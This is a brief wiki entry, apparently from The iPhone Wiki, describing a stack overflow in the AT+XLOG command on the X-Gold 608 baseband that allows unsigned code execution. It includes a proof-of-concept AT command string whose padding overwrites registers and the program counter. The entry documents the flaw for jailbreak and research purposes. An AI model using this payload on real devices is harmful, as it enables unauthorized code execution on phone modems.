From The iPhone Wiki
There is a stack overflow in the AT+XLOG=1,"..." command, which allows unsigned code execution on the X-Gold 608.
at+xlog=1,"jjjjjjjjjjjjjjjjjjjjjjjjjjjj44445555PPPP" j's are junk R4 = 4 R5 = 5 PC = P
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